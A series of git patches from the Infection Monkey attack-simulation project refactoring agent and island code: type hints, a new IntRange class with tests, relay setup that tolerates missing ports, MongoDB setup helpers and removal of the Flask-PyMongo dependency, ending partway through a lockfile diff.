Subject: [PATCH 0022/1338] Agent: Remove superfluous "else" in StopSignalHandler --- monkey/infection_monkey/utils/signal_handler.py | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) diff --git a/monkey/infection_monkey/utils/signal_handler.py b/monkey/infection_monkey/utils/signal_handler.py index 6b0193e262e..ee5a9894d95 100644 --- a/monkey/infection_monkey/utils/signal_handler.py +++ b/monkey/infection_monkey/utils/signal_handler.py @@ -19,9 +19,8 @@ def __init__(self, master: IMaster): def __call__(self, signum: int, *args) -> Optional[bool]: if is_windows_os(): return self._handle_windows_signals(signum) - else: - self._handle_posix_signals(signum, args) + self._handle_posix_signals(signum, args) return None def _handle_windows_signals(self, signum: int) -> bool: From e4cba5abb771027f1269e07c2750f5aa4b7dae87 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Feb 2023 15:16:58 +0000 Subject: [PATCH 0023/1338] Agent: Add return type hint to port_range --- monkey/infection_monkey/network/info.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index f6e252fc178..76cc2e0f656 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -4,7 +4,7 @@ from multiprocessing.context import BaseContext from multiprocessing.managers import DictProxy, SyncManager from random import shuffle # noqa: DUO102 -from typing import Optional, Set +from typing import Iterator, Optional, Set import psutil from egg_timer import EggTimer @@ -22,7 +22,7 @@ RTF_REJECT = 0x0200 -def port_range(min_range: int, max_range: int): +def port_range(min_range: int, max_range: int) -> Iterator[NetworkPort]: min_, max_ = min_range, max_range if min_range > max_range: min_, max_ = max_range, min_range From ebb6e82ac3292231ff500ee7bedd0f544e0bd2a2 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Feb 2023 15:18:57 +0000 Subject: [PATCH 0024/1338] Agent: Remove unneccessary rtype for IPuppet.fingerprint --- monkey/infection_monkey/i_puppet/i_puppet.py | 1 - 1 file changed, 1 deletion(-) diff --git a/monkey/infection_monkey/i_puppet/i_puppet.py b/monkey/infection_monkey/i_puppet/i_puppet.py index 23de39dba4e..f3958ecde4a 100644 --- a/monkey/infection_monkey/i_puppet/i_puppet.py +++ b/monkey/infection_monkey/i_puppet/i_puppet.py @@ -104,7 +104,6 @@ def fingerprint( :param options: A dictionary containing options that modify the behavior of the fingerprinter :return: Detailed information about the target host - :rtype: FingerprintData """ @abc.abstractmethod From f3a012fadb459c0c5050430bfa8ef97d8e604aa9 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Feb 2023 15:21:48 +0000 Subject: [PATCH 0025/1338] Common: Simplify type hint on AgentPluginManifest.Config.json_encoders --- monkey/common/agent_plugins/agent_plugin_manifest.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/common/agent_plugins/agent_plugin_manifest.py b/monkey/common/agent_plugins/agent_plugin_manifest.py index 2fce2e0df57..70ac74bd675 100644 --- a/monkey/common/agent_plugins/agent_plugin_manifest.py +++ b/monkey/common/agent_plugins/agent_plugin_manifest.py @@ -1,4 +1,4 @@ -from typing import Any, Callable, Mapping, Optional, Tuple, Type +from typing import Callable, Mapping, Optional, Tuple, Type from common import OperatingSystem from common.agent_plugins import AgentPluginType @@ -42,4 +42,4 @@ class AgentPluginManifest(InfectionMonkeyBaseModel): safe: bool = False class Config(InfectionMonkeyModelConfig): - json_encoders: Mapping[Type, Callable[[Any], Any]] = {PluginVersion: lambda v: str(v)} + json_encoders: Mapping[Type, Callable] = {PluginVersion: lambda v: str(v)} From fa74f337903a9726e24e797160da3201843ed968 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Feb 2023 15:37:18 +0000 Subject: [PATCH 0026/1338] Agent: Run the agent even if a relay could not be created --- monkey/infection_monkey/monkey.py | 36 +++++++++++++++---------------- 1 file changed, 18 insertions(+), 18 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 474aaebdb7a..c8423359423 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -283,18 +283,18 @@ def _setup(self, operating_system: OperatingSystem): relay_port = self._tcp_port_selector.get_free_tcp_port() if relay_port is None: logger.error("No available ports. Unable to create a TCP relay.") - return - - self._relay = TCPRelay( - relay_port, - self._island_address, - client_disconnect_timeout=config.keep_tunnel_open_time, - ) + else: + self._relay = TCPRelay( + relay_port, + self._island_address, + client_disconnect_timeout=config.keep_tunnel_open_time, + ) - if not maximum_depth_reached(config.propagation.maximum_depth, self._current_depth): - self._relay.start() + if not maximum_depth_reached(config.propagation.maximum_depth, self._current_depth): + self._relay.start() - self._master = self._build_master(relay_port, operating_system) + servers = self._build_server_list(relay_port) + self._master = self._build_master(servers, operating_system) register_signal_handlers(self._master) @@ -314,10 +314,8 @@ def _setup_agent_event_serializers(self) -> AgentEventSerializerRegistry: return agent_event_serializer_registry - def _build_master(self, relay_port: int, operating_system: OperatingSystem) -> IMaster: - servers = self._build_server_list(relay_port) + def _build_master(self, servers: Sequence[str], operating_system: OperatingSystem) -> IMaster: local_network_interfaces = get_network_interfaces() - puppet = self._build_puppet(operating_system) return AutomatedMaster( @@ -329,8 +327,8 @@ def _build_master(self, relay_port: int, operating_system: OperatingSystem) -> I self._legacy_propagation_credentials_repository, ) - def _build_server_list(self, relay_port: int) -> Sequence[str]: - my_relays = [f"{ip}:{relay_port}" for ip in get_my_ip_addresses()] + def _build_server_list(self, relay_port: Optional[int]) -> Sequence[str]: + my_relays = [f"{ip}:{relay_port}" for ip in get_my_ip_addresses()] if relay_port else [] known_servers = chain(map(str, self._opts.servers), my_relays) # Dictionaries in Python 3.7 and later preserve key order. Sets do not preserve order. @@ -431,9 +429,11 @@ def _subscribe_events(self): self._legacy_propagation_credentials_repository, ), ) - self._agent_event_queue.subscribe_type( - PropagationEvent, notify_relay_on_propagation(self._relay) - ) + + if self._relay: + self._agent_event_queue.subscribe_type( + PropagationEvent, notify_relay_on_propagation(self._relay) + ) def _is_another_monkey_running(self): return not self._singleton.try_lock() From 827191d910e47b6e92afa95e2808bb6ec840cf17 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Feb 2023 15:41:07 +0000 Subject: [PATCH 0027/1338] Agent: int -> NetworkPort in InfectionMonkey --- monkey/infection_monkey/monkey.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index c8423359423..7d64c3808fe 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -33,7 +33,7 @@ from common.event_queue import IAgentEventQueue, PyPubSubAgentEventQueue, QueuedAgentEventPublisher from common.network.network_utils import get_my_ip_addresses, get_network_interfaces from common.tags.attack import T1082_ATTACK_TECHNIQUE_TAG -from common.types import SocketAddress +from common.types import NetworkPort, SocketAddress from common.utils.argparse_types import positive_int from common.utils.code_utils import secure_generate_random_string from common.utils.file_utils import create_secure_directory @@ -327,7 +327,7 @@ def _build_master(self, servers: Sequence[str], operating_system: OperatingSyste self._legacy_propagation_credentials_repository, ) - def _build_server_list(self, relay_port: Optional[int]) -> Sequence[str]: + def _build_server_list(self, relay_port: Optional[NetworkPort]) -> Sequence[str]: my_relays = [f"{ip}:{relay_port}" for ip in get_my_ip_addresses()] if relay_port else [] known_servers = chain(map(str, self._opts.servers), my_relays) From 7b7aa5d91266ea0ee99e7c61ab1e1502fc1b14c5 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Feb 2023 15:43:48 +0000 Subject: [PATCH 0028/1338] Agent: int -> NetworkPort in TCPRelay --- monkey/infection_monkey/network/relay/tcp_relay.py | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/relay/tcp_relay.py b/monkey/infection_monkey/network/relay/tcp_relay.py index 88a2c1933b9..4fb2a58dc36 100644 --- a/monkey/infection_monkey/network/relay/tcp_relay.py +++ b/monkey/infection_monkey/network/relay/tcp_relay.py @@ -3,7 +3,7 @@ from threading import Lock, Thread from time import sleep -from common.types import SocketAddress +from common.types import NetworkPort, SocketAddress from infection_monkey.network.relay import ( RelayConnectionHandler, RelayUserHandler, @@ -22,7 +22,7 @@ class TCPRelay(Thread, InterruptableThreadMixin): def __init__( self, - relay_port: int, + relay_port: NetworkPort, dest_address: SocketAddress, client_disconnect_timeout: float, ): From 65cb59bbed1bdd135d88cb501753b97a5315a96f Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Feb 2023 15:44:22 +0000 Subject: [PATCH 0029/1338] Agent: int -> NetworkPort in TCPConnectionHandler --- .../infection_monkey/network/relay/tcp_connection_handler.py | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/monkey/infection_monkey/network/relay/tcp_connection_handler.py b/monkey/infection_monkey/network/relay/tcp_connection_handler.py index f61bc2d3adb..3f275b14d9e 100644 --- a/monkey/infection_monkey/network/relay/tcp_connection_handler.py +++ b/monkey/infection_monkey/network/relay/tcp_connection_handler.py @@ -3,6 +3,7 @@ from threading import Thread from typing import Callable, List +from common.types import NetworkPort from infection_monkey.utils.threading import InterruptableThreadMixin PROXY_TIMEOUT = 2.5 @@ -16,11 +17,11 @@ class TCPConnectionHandler(Thread, InterruptableThreadMixin): def __init__( self, bind_host: str, - bind_port: int, + bind_port: NetworkPort, client_connected: List[Callable[[socket.socket], None]] = [], ): self.bind_host = bind_host - self.bind_port = bind_port + self.bind_port = int(bind_port) self._client_connected = client_connected Thread.__init__(self, name="TCPConnectionHandler", daemon=True) From 725d98e92fb11be834440e7840a8c8d8b9475cf7 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Feb 2023 15:56:08 +0000 Subject: [PATCH 0030/1338] Agent: Add IntRange class --- monkey/infection_monkey/network/info.py | 24 ++++++++++++++++++++++++ 1 file changed, 24 insertions(+) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 76cc2e0f656..cbaed36f349 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -22,6 +22,30 @@ RTF_REJECT = 0x0200 +class IntRange: + """ + Represents an inclusive range of integers, with a step size of 1. + + Ensures that min <= max. + """ + + def __init__(self, min: int, max: int): + self._min = min + self._max = max + if min > max: + self._min, self._max = max, min + + @property + def max(self) -> int: + """The maximum value in the range.""" + return self._max + + @property + def min(self) -> int: + """The minimum value in the range.""" + return self._min + + def port_range(min_range: int, max_range: int) -> Iterator[NetworkPort]: min_, max_ = min_range, max_range if min_range > max_range: From 5a9f6dbb8a69a193e977e4b3e2895a269203caf3 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Feb 2023 16:00:47 +0000 Subject: [PATCH 0031/1338] Agent: Pass IntRange to port_range() generator --- monkey/infection_monkey/network/info.py | 14 ++++++-------- 1 file changed, 6 insertions(+), 8 deletions(-) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index cbaed36f349..456ff78ea8c 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -46,14 +46,12 @@ def min(self) -> int: return self._min -def port_range(min_range: int, max_range: int) -> Iterator[NetworkPort]: - min_, max_ = min_range, max_range - if min_range > max_range: - min_, max_ = max_range, min_range - - min_ = max(0, min_) - max_ = min(65535, max_) + 1 +def port_range(range: IntRange) -> Iterator[NetworkPort]: + """Yields port values in the provided range, bounded by [0, 65535].""" + min_ = max(0, range.min) + max_ = min(65535, range.max) + 1 current = min_ + while current < max_: yield NetworkPort(current) current += 1 @@ -179,7 +177,7 @@ def _get_free_common_port( def _get_free_random_port( self, ports_in_use: Set[NetworkPort], min_range: int, max_range: int, lease_time_sec: float ) -> Optional[NetworkPort]: - ports = list(port_range(min_range, max_range)) + ports = list(port_range(IntRange(min_range, max_range))) shuffle(ports) for port in ports: if self._port_is_available(port, ports_in_use): From 9327e98feb5e8e95db2f2323e8c30c0be78c6d1e Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Feb 2023 17:30:09 +0000 Subject: [PATCH 0032/1338] Agent: Rename IntRange parameters to be more general --- monkey/infection_monkey/network/info.py | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 456ff78ea8c..b7512a19b5f 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -29,11 +29,11 @@ class IntRange: Ensures that min <= max. """ - def __init__(self, min: int, max: int): - self._min = min - self._max = max - if min > max: - self._min, self._max = max, min + def __init__(self, a: int, b: int): + self._min = a + self._max = b + if a > b: + self._min, self._max = b, a @property def max(self) -> int: From b0eb924225e7abc056855271ec017cea4b132243 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Feb 2023 17:37:32 +0000 Subject: [PATCH 0033/1338] Agent: Update IntRange description --- monkey/infection_monkey/network/info.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index b7512a19b5f..81b780ee526 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -24,7 +24,7 @@ class IntRange: """ - Represents an inclusive range of integers, with a step size of 1. + Represents a range of integers, with a step size of 1. Ensures that min <= max. """ From afcaffb64f36203f987509140d60218962f52da0 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Feb 2023 17:47:56 +0000 Subject: [PATCH 0034/1338] Agent: Move IntRange into common.types --- monkey/common/types/__init__.py | 1 + monkey/common/types/int_range.py | 22 +++++++++++++++++++++ monkey/infection_monkey/network/info.py | 26 +------------------------ 3 files changed, 24 insertions(+), 25 deletions(-) create mode 100644 monkey/common/types/int_range.py diff --git a/monkey/common/types/__init__.py b/monkey/common/types/__init__.py index d0494b715be..564c5b37576 100644 --- a/monkey/common/types/__init__.py +++ b/monkey/common/types/__init__.py @@ -1,6 +1,7 @@ from .concurrency import Lock, Event from .serialization import JSONSerializable from .ids import AgentID, HardwareID, MachineID +from .int_range import IntRange from .networking import NetworkService, NetworkPort, PortStatus, SocketAddress from .plugin_types import PluginName from .plugin_types import PluginVersion diff --git a/monkey/common/types/int_range.py b/monkey/common/types/int_range.py new file mode 100644 index 00000000000..5eec7e1e7cd --- /dev/null +++ b/monkey/common/types/int_range.py @@ -0,0 +1,22 @@ +class IntRange: + """ + Represents a range of integers, with a step size of 1. + + Ensures that min <= max. + """ + + def __init__(self, a: int, b: int): + self._min = a + self._max = b + if a > b: + self._min, self._max = b, a + + @property + def max(self) -> int: + """The maximum value in the range.""" + return self._max + + @property + def min(self) -> int: + """The minimum value in the range.""" + return self._min diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 81b780ee526..4b6cd13da04 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -9,7 +9,7 @@ import psutil from egg_timer import EggTimer -from common.types import NetworkPort +from common.types import IntRange, NetworkPort from common.utils.environment import is_windows_os from .ports import COMMON_PORTS @@ -22,30 +22,6 @@ RTF_REJECT = 0x0200 -class IntRange: - """ - Represents a range of integers, with a step size of 1. - - Ensures that min <= max. - """ - - def __init__(self, a: int, b: int): - self._min = a - self._max = b - if a > b: - self._min, self._max = b, a - - @property - def max(self) -> int: - """The maximum value in the range.""" - return self._max - - @property - def min(self) -> int: - """The minimum value in the range.""" - return self._min - - def port_range(range: IntRange) -> Iterator[NetworkPort]: """Yields port values in the provided range, bounded by [0, 65535].""" min_ = max(0, range.min) From df650f27567e9b404a5f95b12fb442f023df8a9f Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Feb 2023 18:03:12 +0000 Subject: [PATCH 0035/1338] UT: Add tests for IntRange --- .../unit_tests/common/types/test_int_range.py | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) create mode 100644 monkey/tests/unit_tests/common/types/test_int_range.py diff --git a/monkey/tests/unit_tests/common/types/test_int_range.py b/monkey/tests/unit_tests/common/types/test_int_range.py new file mode 100644 index 00000000000..63345c4446b --- /dev/null +++ b/monkey/tests/unit_tests/common/types/test_int_range.py @@ -0,0 +1,19 @@ +import pytest + +from common.types import IntRange + +INPUTS = [(100, 200), (-200, 100)] + + +@pytest.mark.parametrize("min,max", INPUTS) +def test_int_range__min_max(min: int, max: int): + range = IntRange(min, max) + assert range.min == min + assert range.max == max + + +@pytest.mark.parametrize("min,max", INPUTS) +def test_int_range__min_max_reversed(min: int, max: int): + range = IntRange(max, min) + assert range.min == min + assert range.max == max From 3bb7d77fcbf9ed4b28753fc62e281a4477e355e3 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Feb 2023 18:05:52 +0000 Subject: [PATCH 0036/1338] Agent: Rename port_range parameter range -> int_range --- monkey/infection_monkey/network/info.py | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index 4b6cd13da04..d4f4ed1eb25 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -22,10 +22,10 @@ RTF_REJECT = 0x0200 -def port_range(range: IntRange) -> Iterator[NetworkPort]: +def port_range(int_range: IntRange) -> Iterator[NetworkPort]: """Yields port values in the provided range, bounded by [0, 65535].""" - min_ = max(0, range.min) - max_ = min(65535, range.max) + 1 + min_ = max(0, int_range.min) + max_ = min(65535, int_range.max) + 1 current = min_ while current < max_: From 1f35f578c6a720212e99e0fa9fb6001edef87fa2 Mon Sep 17 00:00:00 2001 From: Kekoa Kaaikala Date: Tue, 14 Feb 2023 18:08:45 +0000 Subject: [PATCH 0037/1338] Agent: Simplify port_range using range() --- monkey/infection_monkey/network/info.py | 6 +----- 1 file changed, 1 insertion(+), 5 deletions(-) diff --git a/monkey/infection_monkey/network/info.py b/monkey/infection_monkey/network/info.py index d4f4ed1eb25..d287be67aa9 100644 --- a/monkey/infection_monkey/network/info.py +++ b/monkey/infection_monkey/network/info.py @@ -26,11 +26,7 @@ def port_range(int_range: IntRange) -> Iterator[NetworkPort]: """Yields port values in the provided range, bounded by [0, 65535].""" min_ = max(0, int_range.min) max_ = min(65535, int_range.max) + 1 - current = min_ - - while current < max_: - yield NetworkPort(current) - current += 1 + return map(NetworkPort, range(min_, max_)) @dataclass From d5c32b2ff8ebb6a30a68269da2cd0d3b80ed25b1 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Feb 2023 12:10:06 -0500 Subject: [PATCH 0038/1338] Island: Move mongo setup functions to mongo_setup.py --- monkey/monkey_island/cc/database.py | 23 +-------------- .../cc/setup/mongo/mongo_setup.py | 28 +++++++++++++++++-- .../cc/setup/mongo/test_mongo_setup.py | 6 ++-- 3 files changed, 29 insertions(+), 28 deletions(-) diff --git a/monkey/monkey_island/cc/database.py b/monkey/monkey_island/cc/database.py index 6573e31f910..e69acba9a74 100644 --- a/monkey/monkey_island/cc/database.py +++ b/monkey/monkey_island/cc/database.py @@ -1,6 +1,5 @@ import gridfs -from flask_pymongo import MongoClient, PyMongo -from pymongo.errors import ServerSelectionTimeoutError +from flask_pymongo import PyMongo mongo = PyMongo() @@ -14,23 +13,3 @@ def init(self): database = Database() - - -def is_db_server_up(mongo_url): - client = MongoClient(mongo_url, serverSelectionTimeoutMS=100) - try: - client.server_info() - return True - except ServerSelectionTimeoutError: - return False - - -def get_db_version(mongo_url): - """ - Return the mongo db version - :param mongo_url: Which mongo to check. - :return: version as a tuple (e.g. `(u'4', u'0', u'8')`) - """ - client = MongoClient(mongo_url, serverSelectionTimeoutMS=100) - server_version = tuple(client.server_info()["version"].split(".")) - return server_version diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py index 2d589ce60ec..bad63094114 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py @@ -4,8 +4,10 @@ import time from pathlib import Path +from flask_pymongo import MongoClient +from pymongo.errors import ServerSelectionTimeoutError + from common.utils.file_utils import create_secure_directory -from monkey_island.cc.database import get_db_version, is_db_server_up from monkey_island.cc.setup.mongo import mongo_connector from monkey_island.cc.setup.mongo.mongo_connector import MONGO_DB_HOST, MONGO_DB_NAME, MONGO_DB_PORT from monkey_island.cc.setup.mongo.mongo_db_process import MongoDbProcess @@ -52,7 +54,7 @@ def connect_to_mongodb(timeout: float): def _wait_for_mongo_db_server(mongo_url, timeout): start_time = time.time() - while not is_db_server_up(mongo_url): + while not _is_db_server_up(mongo_url): logger.info(f"Waiting for MongoDB server on {mongo_url}") if (time.time() - start_time) > timeout: @@ -61,6 +63,15 @@ def _wait_for_mongo_db_server(mongo_url, timeout): time.sleep(1) +def _is_db_server_up(mongo_url): + client = MongoClient(mongo_url, serverSelectionTimeoutMS=100) + try: + client.server_info() + return True + except ServerSelectionTimeoutError: + return False + + def _assert_mongo_db_version(mongo_url): """ Checks if the mongodb version is new enough for running the app. @@ -68,7 +79,7 @@ def _assert_mongo_db_version(mongo_url): :param mongo_url: URL to the mongo the Island will use """ required_version = tuple(MINIMUM_MONGO_DB_VERSION_REQUIRED.split(".")) - server_version = get_db_version(mongo_url) + server_version = _get_db_version(mongo_url) if server_version < required_version: raise MongoDBVersionError( f"Mongo DB version too old. {required_version} is required, but got {server_version}." @@ -77,6 +88,17 @@ def _assert_mongo_db_version(mongo_url): logger.info(f"Mongo DB version OK. Got {server_version}") +def _get_db_version(mongo_url): + """ + Return the mongo db version + :param mongo_url: Which mongo to check. + :return: version as a tuple (e.g. `(u'4', u'0', u'8')`) + """ + client = MongoClient(mongo_url, serverSelectionTimeoutMS=100) + server_version = tuple(client.server_info()["version"].split(".")) + return server_version + + class MongoDBTimeOutError(Exception): pass diff --git a/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_mongo_setup.py b/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_mongo_setup.py index 502e7dbfec7..3c6146712fc 100644 --- a/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_mongo_setup.py +++ b/monkey/tests/unit_tests/monkey_island/cc/setup/mongo/test_mongo_setup.py @@ -4,13 +4,13 @@ def test_connect_to_mongodb_timeout(monkeypatch): - monkeypatch.setattr(mongo_setup, "is_db_server_up", lambda _: False) + monkeypatch.setattr(mongo_setup, "_is_db_server_up", lambda _: False) with pytest.raises(mongo_setup.MongoDBTimeOutError): mongo_setup.connect_to_mongodb(0.0000000001) def test_connect_to_mongodb_version_too_old(monkeypatch): - monkeypatch.setattr(mongo_setup, "is_db_server_up", lambda _: True) - monkeypatch.setattr(mongo_setup, "get_db_version", lambda _: ("1", "0", "0")) + monkeypatch.setattr(mongo_setup, "_is_db_server_up", lambda _: True) + monkeypatch.setattr(mongo_setup, "_get_db_version", lambda _: ("1", "0", "0")) with pytest.raises(mongo_setup.MongoDBVersionError): mongo_setup.connect_to_mongodb(0) From e65fed06071cc76993848bcf475ddb9a3951011f Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Feb 2023 12:17:06 -0500 Subject: [PATCH 0039/1338] Island: Remove database/mongo init from flask Flask resources no longer have access to mongo directly. Instead, they use services or repository, which provide a layer of abstraction that decouples the data from the storage implementation details. --- monkey/monkey_island/cc/app.py | 5 ----- monkey/monkey_island/cc/database.py | 15 --------------- 2 files changed, 20 deletions(-) delete mode 100644 monkey/monkey_island/cc/database.py diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index 6ae7e2f5f19..f665d2ee46b 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -9,7 +9,6 @@ from werkzeug.exceptions import NotFound from common import DIContainer -from monkey_island.cc.database import database, mongo from monkey_island.cc.resources import ( AgentBinaries, AgentConfiguration, @@ -89,10 +88,6 @@ def init_app_config(app, mongo_url): def init_app_services(app): init_jwt(app) - mongo.init_app(app) - - with app.app_context(): - database.init() def init_app_url_rules(app): diff --git a/monkey/monkey_island/cc/database.py b/monkey/monkey_island/cc/database.py deleted file mode 100644 index e69acba9a74..00000000000 --- a/monkey/monkey_island/cc/database.py +++ /dev/null @@ -1,15 +0,0 @@ -import gridfs -from flask_pymongo import PyMongo - -mongo = PyMongo() - - -class Database: - def __init__(self): - self.gridfs = None - - def init(self): - self.gridfs = gridfs.GridFS(mongo.db) - - -database = Database() From 665c7fe048830d0ba572b4d3d2f321b6acbc8c99 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Feb 2023 12:20:39 -0500 Subject: [PATCH 0040/1338] Island: Use pymongo instead of flask_pymongo in mongo_setup.py --- monkey/monkey_island/cc/setup/mongo/mongo_setup.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py index bad63094114..ef69169eacc 100644 --- a/monkey/monkey_island/cc/setup/mongo/mongo_setup.py +++ b/monkey/monkey_island/cc/setup/mongo/mongo_setup.py @@ -4,7 +4,7 @@ import time from pathlib import Path -from flask_pymongo import MongoClient +from pymongo import MongoClient from pymongo.errors import ServerSelectionTimeoutError from common.utils.file_utils import create_secure_directory From de2b4129cc1a64760cb1df80743084787e56da88 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Tue, 14 Feb 2023 12:31:24 -0500 Subject: [PATCH 0041/1338] Island: Remove disused Flask-PyMongo dependency --- monkey/monkey_island/Pipfile | 1 - monkey/monkey_island/Pipfile.lock | 1121 +++++++++++++++++------------ 2 files changed, 644 insertions(+), 478 deletions(-) diff --git a/monkey/monkey_island/Pipfile b/monkey/monkey_island/Pipfile index d415ddc1b31..46c98174b58 100644 --- a/monkey/monkey_island/Pipfile +++ b/monkey/monkey_island/Pipfile @@ -17,7 +17,6 @@ netifaces = ">=0.10.9" requests = ">=2.24" ring = ">=0.7.3" Flask-JWT-Extended = "==4.*" -Flask-PyMongo = ">=2.3.0" Flask-RESTful = ">=0.3.8" Flask = ">=1.1" Werkzeug = ">=1.0.1" diff --git a/monkey/monkey_island/Pipfile.lock b/monkey/monkey_island/Pipfile.lock index 769fd9ecddd..15c59bc54e6 100644 --- a/monkey/monkey_island/Pipfile.lock +++ b/monkey/monkey_island/Pipfile.lock @@ -1,7 +1,7 @@ { "_meta": { "hash": { - "sha256": "8baa5214f13edd26411d79c827941dfdcd71c3b69651cb9a3bda98527633df6f" + "sha256": "0325a8fae7e167b9ef43297a1c2cf1fc3aba41f5bd713415cfcf0874910a174f" }, "pipfile-spec": 6, "requires": { @@ -32,11 +32,11 @@ }, "attrs": { "hashes": [ - "sha256:29adc2665447e5191d0e7c568fde78b21f9672d344281d0c6e1ab085429b22b6", - "sha256:86efa402f67bf2df34f51a335487cf46b1ec130d02b8d39fd248abfd30da551c" + "sha256:29e95c7f6778868dbd49170f98f8818f78f3dc5e0e37c0b1f474e3561b240836", + "sha256:c9227bfc2f01993c03f68db37d1d15c9690188323c067c641f1a35ca58185f99" ], - "markers": "python_version >= '3.5'", - "version": "==22.1.0" + "markers": "python_version >= '3.6'", + "version": "==22.2.0" }, "bcrypt": { "hashes": [ @@ -56,27 +56,27 @@ }, "boto3": { "hashes": [ - "sha256:853cf4b2136c4deec4e01a17b89126377bfca30223535795d879ca65af4c4a69", - "sha256:a8ad13a23745b6d4a56d5bdde53a7a80cd7b40016cd411b9a94e6bbfb2ca5dd2" + "sha256:123cf34f3cc58772b4f806dfbb1ae9ffae47459de5088e971be9d3cd2b198975", + "sha256:5324c2a9dbc271d2b25eb79f7469b422de411665f9ab1c0b410e8ac820859b1a" ], "index": "pypi", - "version": "==1.26.13" + "version": "==1.26.70" }, "botocore": { "hashes": [ - "sha256:9c73a180fad9a7da7797530ced3b5069872bff915b1ae9fa11fc1ed79b584c8e", - "sha256:9d39db398f472c0aa97098870c8c4cf12636b2667a18e694fea5fae046af907e" + "sha256:7d9abef42846c1c2f31dacaa559f8450f6fbda74c2c9e3dc6630e06e882ad026", + "sha256:caaa144f49ef0d01b5e8812c9afa729def2c3358d9c4d9204789be2b56c5e849" ], "index": "pypi", - "version": "==1.29.13" + "version": "==1.29.70" }, "certifi": { "hashes": [ - "sha256:0d9c601124e5a6ba9712dbc60d9c53c21e34f5f641fe83002317394311bdce14", - "sha256:90c1a32f1d68f940488354e36370f6cca89f0f106db09518524c88d6ed83f382" + "sha256:35824b4c3a97115964b408844d64aa14db1cc518f6562e8d7261699d1350a9e3", + "sha256:4ad3232f5e926d6718ec31cfc1fcadfde020920e278684144551c91769c7bc18" ], "markers": "python_version >= '3.6'", - "version": "==2022.9.24" + "version": "==2022.12.7" }, "cffi": { "hashes": [ @@ -150,11 +150,97 @@ }, "charset-normalizer": { "hashes": [ - "sha256:5a3d016c7c547f69d6f81fb0db9449ce888b418b5b9952cc5e6e66843e9dd845", - "sha256:83e9a75d1911279afd89352c68b45348559d1fc0506b054b346651b5e7fee29f" + "sha256:00d3ffdaafe92a5dc603cb9bd5111aaa36dfa187c8285c543be562e61b755f6b", + "sha256:024e606be3ed92216e2b6952ed859d86b4cfa52cd5bc5f050e7dc28f9b43ec42", + 